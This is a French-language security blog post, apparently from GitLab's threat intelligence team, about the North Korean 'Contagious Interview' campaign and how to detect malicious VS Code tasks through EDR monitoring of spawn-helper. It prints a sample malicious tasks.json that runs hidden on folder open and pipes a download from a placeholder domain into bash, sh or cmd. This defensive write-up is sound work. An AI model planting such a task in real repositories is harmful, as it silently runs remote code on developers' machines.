Comment détecter et prévenir les attaques de type Contagious Interview dans les IDE

L'équipe Threat Intelligence de GitLab, rattachée à l'équipe Security Operations, a récemment publié un article détaillé qui révélait les techniques utilisées par des acteurs malveillants nord-coréens et décrivait les méthodes employées par GitLab pour les suivre et les neutraliser. L'équipe Security Operations comprend également l'équipe Security Incident Response Team (SIRT), les équipes Security Logging, Signals Intelligence et la Red Team. Cette collaboration étroite nous permet d'exploiter des informations issues des renseignements sur les menaces, de reproduire le comportement des acteurs malveillants avec la Red Team et la Purple Team et de développer proactivement des techniques de détection et de prévention.

Ainsi, parallèlement à la découverte des techniques nord-coréennes et de la campagne Contagious Interview associée, nous avons développé des contrôles sur mesure pour prévenir des campagnes de logiciels malveillants (« malware ») similaires, en particulier celles qui exploitent des attaques via les IDE.

Dans cet article, nous vous présentons ces contrôles ainsi que les techniques que nous utilisons pour protéger nos clients, soutenir la communauté de sécurité au sens large et continuer à déjouer les actions de ces acteurs malveillants.

Les renseignements sur les menaces

L'article sur les techniques nord-coréennes portait sur un large éventail d'attaques, de techniques et d'indicateurs de compromission (IOC) que les acteurs étatiques nord-coréens utilisent activement pour mener des attaques ciblées et à grande échelle. L'un des vecteurs d'attaque identifiés était l'utilisation des tâches Visual Studio Code pour distribuer des logiciels malveillants. La campagne Contagious Interview repose souvent sur de faux processus d'entretien d'embauche pour inciter les victimes à télécharger et ouvrir un dépôt de code, ce qui ouvre la voie à une attaque via les tâches VS Code.

Les tâches VS Code sont conçues pour automatiser les opérations courantes que les équipes de développement souhaitent exécuter à l'ouverture d'un dépôt : linting, build, empaquetage, tests ou déploiement de systèmes logiciels. Grâce à un simple fichier de configuration dans le dépôt, tasks.json, les développeurs peuvent exécuter automatiquement du code à chaque ouverture de leur dépôt. L'exécution de ces tâches nécessite d'avoir confiance en son dépôt.

Les prétextes utilisés par Contagious Interview reposent souvent sur des dépôts malveillants : l'utilisation des tâches VS Code pour l'exécution de code s'inscrit donc naturellement dans la continuité de ce stratagème. La cible est invitée à télécharger et ouvrir le dépôt malveillant dans VS Code (souvent à des fins de revue de code dans le cadre d'un entretien). Étant donné que les victimes pensent participer à un entretien d'embauche, elles subissent une forte pression pour « faire confiance » à l'espace de travail du recruteur, ce qui permet à la tâche malveillante de s'exécuter à leur insu.

Un exemple de fichier tasks.json malveillant est présenté ci-dessous. Il est relativement simple : il détecte le système d'exploitation et télécharge l'étape suivante du logiciel malveillant pour cette plateforme, en utilisant une structure curl | bash. Les domaines indiqués sont des exemples fictifs et non de véritables IOC. Les IOC détaillés de ces acteurs ont été partagés dans notre article précédent.

        "version": "1.0.8",
  "tasks": [
    {
      "label": "env",
      "type": "shell",
      "osx": {
        "command": "curl 'https://www.example[.]com/settings/mac?flag=8' | bash"
      },
      "linux": {
        "command": "wget -q0- 'https://www.example[.]com/settings/linux?flag=8' | sh"
      },
      "windows": {
        "command": "curl https://www.example[.]com/settings/windows?flag=8 | cmd"
      },
      "problemMatcher": [],
      "presentation": {
        "reveal": "never",
        "echo": false,
        "focus": false,
        "close": true,
        "panel": "dedicated",
        "showReuseMessage": false
      },
      "runOptions": {
        "runOn": "folderOpen"
      }
    }
  ]

    

Ce code malveillant est ensuite généralement utilisé pour déployer des logiciels malveillants spécialisés dans le vol de données, dérober des mots de passe et des cryptomonnaies, et finalement s'implanter durablement afin d'exploiter les accès de confiance des victimes aux réseaux d'entreprise.

Une fois que nous avons compris comment l'acteur malveillant accédait à l'exécution initiale du code, nous disposions d'une cible pour développer des mesures préventives capables d'intercepter ces attaques avant qu'elles ne visent les postes de travail de GitLab.

Détection et prévention multi-niveaux

Nous cherchons toujours à développer des contrôles de détection et de prévention à un niveau aussi bas que possible, car ces types de détections sont généralement plus difficiles à contourner. Par ailleurs, les renseignements sur les menaces indiquaient que d'autres projets ayant dupliqué VS Code étaient également vulnérables à cette attaque par dépôt malveillant. Plutôt que de nous concentrer spécifiquement sur une détection propre à VS Code, nous avons donc voulu identifier la zone la plus proche du système d'exploitation où cette exécution de code malveillant pouvait être repérée. Ainsi, nous pourrions détecter non seulement l'exploitation via les tâches VS Code, mais aussi les attaques qui ciblaient une duplication de VS Code ou d'un IDE similaire écrit en Node avec des tâches en arrière-plan.

En examinant le code source de VS Code, nous avons identifié que l'appel à la bibliothèque node-pty.spawn() était utilisé dans l'ensemble du produit lorsque des sous-processus doivent être utilisés. La bibliothèque node-pty est extrêmement populaire, avec plus d'un million de téléchargements hebdomadaires au moment de la rédaction de cet article. Cette bibliothèque permet aux applications Node (y compris les applications Electron telles que VS Code) de dupliquer des sous-processus depuis un contexte Node, ce qui entraîne des appels à son propre binaire, spawn-helper. Lorsque des sous-processus sont lancés, spawn-helper est créé en tant que processus enfant de l'application Node qui l'invoque.

Après l'opération menée par la Purple Team pour émuler ce vecteur d'attaque spécifique, nous avons examiné la télémétrie de notre solution de détection et de réponse aux incidents sur les points de terminaison (EDR) afin de développer non seulement une détection robuste pour l'attaque émulée, mais aussi d'affiner cette détection pour qu'elle ne déclenche des alertes que sur les activités suspectes, et non sur les activités légitimes des équipes de développement. Nous avons constaté que spawn-helper est appelé lorsque VS Code souhaite exécuter des tâches en arrière-plan, sans visibilité ni interaction de l'utilisateur. À l'inverse, un binaire Code Helper est invoqué lorsque de nouveaux processus (comme le terminal intégré) sont lancés au premier plan avec interaction de l'utilisateur.

Nous pouvons ainsi concevoir des détections qui ne ciblent que les sous-processus lancés à l'insu de l'utilisateur et éviter les faux positifs qui signaleraient des sous-processus qu'un utilisateur pourrait intentionnellement lancer lors de l'utilisation de son IDE.

Comme nous l'avons montré précédemment, une tâche malveillante couramment observée contient des commandes qui exécutent curl | <shell> depuis une tâche. Bien que curl | bash puisse être un moyen légitime d'installer des logiciels comme Homebrew, dans notre environnement, cela ne devrait jamais se produire en arrière-plan à l'insu de l'utilisateur. Cette distinction nous a permis d'affiner les détections basées sur spawn-helper pour qu'elles ne génèrent pas d'alerte à chaque tâche exécutée en arrière-plan, mais uniquement en fonction des comportements inhabituels et suspects dans notre environnement. Depuis la mise en place de cette technique de détection, nous n'avons enregistré aucun faux positif, alors qu'une grande partie de notre organisation utilise VS Code au quotidien.

Bien que cet article se soit concentré sur la détection de spawn-helper dans votre environnement, il ne s'agit que d'une des nombreuses couches de défense que vous pouvez mettre en place dans votre organisation pour prévenir et détecter ces attaques basées sur les tâches dans les IDE.

En complément des outils EDR pour détecter une tâche malveillante à l'exécution, vous pouvez renforcer proactivement votre flotte contre ce type d'attaque en déployant des configurations globales pour désactiver l'exécution des tâches dans VS Code. Si cette mesure s'avère trop contraignante pour votre équipe de développement, vous pouvez également analyser votre environnement pour recenser la fréquence à laquelle les utilisateurs ont recours aux espaces de travail de confiance et aux dossiers d'espaces de travail de confiance dans leur utilisation habituelle de VS Code, et mener des campagnes de sensibilisation pour informer l'entreprise des risques liés à ce vecteur d'attaque.

Résumé

L'équipe Security Operations de GitLab travaille sans relâche pour protéger nos clients et notre entreprise. Grâce à l'étroite collaboration de nos équipes de sécurité, nous sommes en mesure de fournir des renseignements exploitables sur les menaces, d’utiliser ces renseignements pour orienter des opérations d'émulation des adversaires et de développer des techniques et procédures de prévention et de détection qui protègent nos clients et notre entreprise.

À mesure que les tâches VS Code gagnent en visibilité dans le secteur de la sécurité, il est possible que d'autres acteurs malveillants tentent d'exploiter ce vecteur d'attaque pour servir leurs propres intérêts. Nous espérons que cet aperçu du travail que nous réalisons pour protéger GitLab et nos clients contre les menaces persistantes avancées puisse inspirer d'autres organisations à faire de même et à nous rejoindre dans notre mission continue de neutralisation de ces acteurs malveillants.

Suivez nos travaux d'innovation et de recherche sur la page Laboratoires de sécurité.